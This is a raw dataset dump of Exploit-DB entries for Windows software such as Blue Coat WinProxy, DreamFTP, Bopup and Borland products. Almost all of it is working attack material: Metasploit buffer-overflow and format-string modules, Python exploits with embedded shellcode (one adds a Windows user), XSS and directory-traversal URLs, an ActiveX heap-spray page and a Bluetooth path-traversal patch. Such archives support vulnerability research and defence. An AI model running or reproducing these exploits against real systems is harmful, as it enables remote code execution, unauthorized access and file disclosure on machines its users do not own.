deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16691
Description: Blue Coat WinProxy - Host Header Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-12
Author: Metasploit

Exploit:
##
# $Id: bluecoat_winproxy_host.rb 9797 2010-07-12 23:25:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Blue Coat WinProxy Host Header Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the Blue Coat Systems WinProxy
				service by sending a long port value for the Host header in a HTTP
				request.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9797 $',
			'References'     =>
				[
					['CVE', '2005-4085'],
					['OSVDB', '22238'],
					['BID', '16147'],
					['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Jan 5 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80)
			], self.class)

	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		sploit  = "GET / HTTP/1.1" + "\r\n"
		sploit += "Host: 127.0.0.1:"
		sploit += rand_text_english(31, payload_badchars)
		seh  = generate_seh_payload(target.ret)
		sploit[23, seh.length] = seh
		sploit += "\r\n\r\n"

		sock.put(sploit)
		sock.get_once(-1, 3)

		handler
		disconnect
	end

end
Exploit-DB #21698
Description: BlueFace Falcon Web Server 2.0 - Error Message Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-08-09
Author: Matt Murphy

Exploit:
source: https://www.securityfocus.com/bid/5435/info

Falcon Webserver does not sufficiently sanitize HTML tags from error message output. In particular, attackers may inject HTML into 301 and 404 error pages. 

It is possible to create a malicious link to the server which will generate an error page with attacker-supplied HTML and script code when visited. Arbitrary HTML and script code will be executed by the web client of the user visiting the server, in the security context of the server.


* 301 Message XSS

Closing TITLE tag:
http://localhost/%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
Closing A HREF:
http://localhost/%22%3cscript%3ealert(%22xss%22)%3c/script%3e
Closing A tag:
http://localhost/%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

* 404 Message XSS

http://localhost/%3cscript%3ealert(%22xss%22)%3c/script%3e/

The 301 examples will simply add a slash and pass it on to the browser,
which then raises a 404, exploiting that vulnerability as well (although the
301 exploits will cause some useless HTML to be added on)
Exploit-DB #30441
Description: BlueSkyChat ActiveX Control 8.1.2 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-07-31
Author: Code Audit Labs

Exploit:
source: https://www.securityfocus.com/bid/25149/info

BlueSkyChat ActiveX control is prone to a buffer-overflow vulnerability because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

BlueSkyChat ActiveX control 8.1.2.0 is vulnerable to this issue; other versions may also be affected. 

<html>
<head>
<OBJECT ID="com" CLASSID="CLSID:{2EA6D939-4445-43F1-A12B-8CB3DDA8B855}">
</OBJECT>
</head>
<body>
<SCRIPT language="javascript">

function ClickForRunCalc()
{
    var heapSprayToAddress = 0x0d0d0d0d;

    var payLoadCode = "A" ;
    while (payLoadCode.length <= 10000) payLoadCode+='A';
    com.ConnecttoServer("1",payLoadCode,"3","4","5");
}
</script>
<button onclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>
</body>
</html>
Exploit-DB #25325
Description: BlueSoleil 1.4 - Object Push Service BlueTooth Arbitrary File Upload / Directory Traversal
Type: remote
Platform: windows
Date: 2005-04-01
Author: Kevin Finisterre

Exploit:
source: https://www.securityfocus.com/bid/12961/info

BlueSoleil is prone to directory traversal attacks during Bluetooth file uploads. The issue exists in the Object Push Service.

This vulnerability may allow an attacker to upload malicious files to arbitrary locations on affected computers over Bluetooth. An attacker can take advantage of the issue to execute arbitrary code by uploading executables to a location on the computer where they will later be executed. 

@@ -316,7 +316,7 @@
}

filename = argv[1];
- alias = basename(filename);
+ alias = "../../../../../../../../mal.exe";
str2ba(argv[2], &bdaddr);
channel = (argc > 3) ? atoi(argv[3]) : 10;

The modified obextool client may then be used to push a malicious file to a target computer.
Exploit-DB #40715
Description: BolinTech DreamFTP Server 1.02 - 'RETR' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2016-11-04
Author: ScrR1pTK1dd13

Exploit:
import socket
import os
import sys

print '''

                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScrR1pTK1dd13.slammer@gmail.com   # 
                ##############################################

# Exploit Title: DreamFTPServer1.0.2_RETR_command_format_string_remotecodevuln
# Date: 2016.11.04
# Exploit Author: Greg Priest
# Version: DreamFTPServer1.0.2
# Tested on: Windows7 x64 HUN/ENG Professional
'''

ip = raw_input("Target ip: ")
port = 21
overflow = '%8x%8x%8x%8x%8x%8x%8x%8x%341901071x%n%8x%8x%24954x%n%x%x%x%n'
nop = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
#overflow = '%8x%8x%8x%8x%8x%8x%8x%8x%341901090x%n%8x%8x%24954x%n%x%x%x%n\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'

#shellcode calc.exe
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

remotecode = overflow + nop + shellcode + '\r\n'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ip ,port))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASSW hacker@hacker.net\r\n')
s.recv(1024)
print remotecode
print '''
Successfull Exploitation!
'''
message = 'RETR ' + remotecode 
s.send(message)
s.recv(1024)
s.close
Exploit-DB #16712
Description: BolinTech DreamFTP Server 1.02 - Format String (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: dreamftp_format.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'BolinTech Dream FTP Server 1.02 Format String',
			'Description'	=> %q{
					This module exploits a format string overflow in the BolinTech
				Dream FTP Server version 1.02. Based on the exploit by SkyLined.
			},
			'Author' 		=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
			'Arch'		=> [ ARCH_X86 ],
			'License'        	=> MSF_LICENSE,
			'Version'        	=> '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2004-2074'],
					[ 'OSVDB', '4986'],
					[ 'BID', '9800'],
					[ 'URL', 'http://www.milw0rm.com/exploits/823'],
				],
			'Platform' 	=> ['win'],
			'Privileged'	=> false,
			'Payload'		=>
				{
					'Space'			=> 1000,
					'BadChars'		=> "\x00\x0a\x0d",
					'StackAdjustment'	=> -3500,
				},
			'Targets' 		=>
			[
				# Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
				[
					'Dream FTP Server v1.02 Universal',
					{
						'Offset'			=> 3957680, # 0x3c63ff-0x4f
					}
				],
			],
			'DisclosureDate' => 'Mar 03 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(21),
			], self.class)
	end

	def check
		connect
		banner = sock.get(-1,3)
		disconnect
		if (banner =~ /Dream FTP Server/)
			return Exploit::CheckCode::Appears
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		select(nil,nil,nil,0.25)
		sploit = "\xeb\x29"
		sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
		sploit << "@@@@@@@@" + payload.encoded
		sock.put(sploit + "\r\n")
		select(nil,nil,nil,0.25)
		handler
		disconnect
	end

end
Exploit-DB #16433
Description: BomberClone 0.11.6 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: bomberclone_overflow.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Bomberclone 0.11.6 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.
				The return address is overwritten with lstrcpyA memory address,
				the second and third value are the destination buffer,
				the fourth value is the source address of our buffer in the stack.
				This exploit is like a return in libc.

				ATTENTION
				The shellcode is exec ONLY when someone try to close bomberclone.
			},
			'Author'         => 'Jacopo Cervini <acaro[at]jervus.it>',
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2006-0460'],
					['OSVDB', '23263'],
					['BID', '16697'],
					['URL', 'http://www.frsirt.com/english/advisories/2006/0643' ],
				],
			'Payload'        =>
				{
					'Space'    => 344,
					'BadChars' => "\x00"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows XP SP2 Italian',   { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA
					['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA
					['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 16 2006'
			))

		register_options([ Opt::RPORT(11000) ], self.class)
	end

	def exploit
		connect_udp

		pattern  = make_nops(421)
		pattern << payload.encoded
		pattern << [ target.ret ].pack('V')
		pattern << "\x04\xec\xfd\x7f" * 2
		pattern << "\xa4\xfa\x22\x00"

		request  = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n"

		print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")

		udp_sock.put(request)
		udp_sock.get

		handler(udp_sock)
		disconnect_udp
	end

end
Exploit-DB #31409
Description: BootManage TFTP Server 1.99 - 'Filename' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-03-17
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28270/info

BootManage TFTP Server is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before storing it in a finite-sized buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

BootManage TFTP Server 1.99 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31591.zip
Exploit-DB #16445
Description: Bopup Communications Server - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: bopup_comm.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Bopup Communications Server Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.
					By sending a specially crafted packet, an attacker may be
					able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2009-2227' ],
					[ 'OSVDB', '55275' ],
					[ 'URL', 'http://www.blabsoft.com/products/server' ],
					[ 'URL', 'http://milw0rm.com/exploits/9002' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 417,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Bopup Communications Server 3.2.26.5460',   { 'Ret' => 0x0041add2 } ],
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 18 2009'))

		register_options(
			[
				Opt::RPORT(19810)
			], self.class)
	end

	def exploit
		connect

		sploit =  [0x00000001].pack('V')
		sploit << rand_text_alpha_upper(829 - payload.encoded.length)
		sploit << payload.encoded
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
		sploit << rand_text_alpha_upper(27)
		sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
		sploit << [target.ret].pack('V')

		print_status("Trying target #{target.name}...")
		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #9031
Description: Bopup Communications Server 3.2.26.5460 - Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-06-29
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Usage : python bopup.py [target_ip]
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     : Bopup Communications Server (3.2.26.5460) Remote BOF Exploit (SEH)
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Refer	:	mu-b
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ)


import socket,sys,struct
from time import *

host = sys.argv[1]

def banner():
        print "\n[x] Bopup Communications Server Remote BOF Exploit (SEH)\n"
        print "[x] By: His0k4\n"
 
if len(sys.argv)!=2:
        banner()
        print "Usage: %s <ip>" %sys.argv[0]
        sys.exit(0)

# win32_adduser -  PASS=27 EXITFUNC=seh USER=dz Size=228 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x44\x7A\x32\x37\x44\x7A\x32\x37\x29\xc9\x83\xe9\xcd\xd9\xee\xd9"
"\x74\x24\xf4\x5b\x81\x73\x13\x05\x16\xf2\x06\x83\xeb\xfc\xe2\xf4"
"\xf9\xfe\xb6\x06\x05\x16\x79\x43\x39\x9d\x8e\x03\x7d\x17\x1d\x8d"
"\x4a\x0e\x79\x59\x25\x17\x19\x4f\x8e\x22\x79\x07\xeb\x27\x32\x9f"
"\xa9\x92\x32\x72\x02\xd7\x38\x0b\x04\xd4\x19\xf2\x3e\x42\xd6\x02"
"\x70\xf3\x79\x59\x21\x17\x19\x60\x8e\x1a\xb9\x8d\x5a\x0a\xf3\xed"
"\x8e\x0a\x79\x07\xee\x9f\xae\x22\x01\xd5\xc3\xc6\x61\x9d\xb2\x36"
"\x80\xd6\x8a\x0a\x8e\x56\xfe\x8d\x75\x0a\x5f\x8d\x6d\x1e\x19\x0f"
"\x8e\x96\x42\x06\x05\x16\x79\x6e\x39\x49\xc3\xf0\x65\x40\x7b\xfe"
"\x86\xd6\x89\x56\x6d\xe6\x78\x02\x5a\x7e\x6a\xf8\x8f\x18\xa5\xf9"
"\xe2\x75\x9f\x62\x2b\x73\x8a\x63\x25\x39\x91\x26\x6b\x73\x86\x26"
"\x70\x65\x97\x74\x25\x72\x88\x26\x37\x21\xd2\x29\x44\x52\xb6\x26"
"\x23\x30\xd2\x68\x60\x62\xd2\x6a\x6a\x75\x93\x6a\x62\x64\x9d\x73"
"\x75\x36\xb3\x62\x68\x7f\x9c\x6f\x76\x62\x80\x67\x71\x79\x80\x75"
"\x25\x72\x88\x26\x2a\x57\xb6\x42\x05\x16\xf2\x06")


payload = '\x01\x00\x00\x00'
payload += '\x41'*(821-len(shellcode))
payload += shellcode
payload += '\x42'*27	#padding
payload += '\xE8\xFC\xFE\xFF\xFF' #Call back
payload += '\x43'*8	#padding, escaping from the \x00 monster :p
payload += '\xEB\xF1\xFF\xFF' #short jump
payload += '\xE0\x14\x40\x00' #p/p/r bcssrvc (universal)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
	s.connect((host,19810))
except:
	print "Can\'t connect to server!\n"
	sys.exit(0)

s.send(payload+'\r\n')
print("[+] Done!")
s.close()

# milw0rm.com [2009-06-29]
Exploit-DB #16434
Description: Borland CaliberRM - StarTeam Multicast Service Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: borland_starteam.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Borland CaliberRM StarTeam Multicast Service Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending
				a specially crafted GET request to the STMulticastService, an attacker may be
				able to execute arbitrary code.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2008-0311' ],
					[ 'OSVDB', '44039' ],
					[ 'BID', '28602' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c5729db } ],
					[ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ],
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 02 2008'))

		register_options([Opt::RPORT(3057)], self.class)
	end

	def exploit

		# inline payloads work best!
		sploit =  rand_text_english(511) + "\x00" + rand_text_english(1020)
		sploit << [target.ret].pack('V') + "@" * 156 # <- :(
		sploit << payload.encoded + rand_text_english(rand(100) + 1)

		print_status("Trying target #{target.name}...")

		send_request_raw({'uri' => sploit,}, 5)

		handler
		disconnect

	end

end
Exploit-DB #16453
Description: Borland Interbase - 'Create-Request' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: borland_interbase.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Borland Interbase Create-Request Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Borland Interbase 2007.
				By sending a specially crafted create-request packet, a remote
				attacker may be able to execute arbitrary code.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2007-3566' ],
					[ 'OSVDB', '38602' ],
					[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 850,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 English All / Borland InterBase 2007',     { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 24 2007'))

		register_options([Opt::RPORT(3050)], self.class)
	end

	def exploit
		connect

		# Build the exploit buffer.... It's a biggie!
		sploit =  "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
		sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
		sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)

		print_status("Trying target #{target.name}...")
		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #23597
Description: borland Web server for corel paradox 1.0 b3 - Directory Traversal
Type: remote
Platform: windows
Date: 2004-01-24
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9486/info

A vulnerability in Borland Web Server for Corel Paradox has been reported that may allow a remote attacker to view files residing outside of the web server root directory on the affected system. 

http://<host>/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
http://<host>/..................../autoexec.bat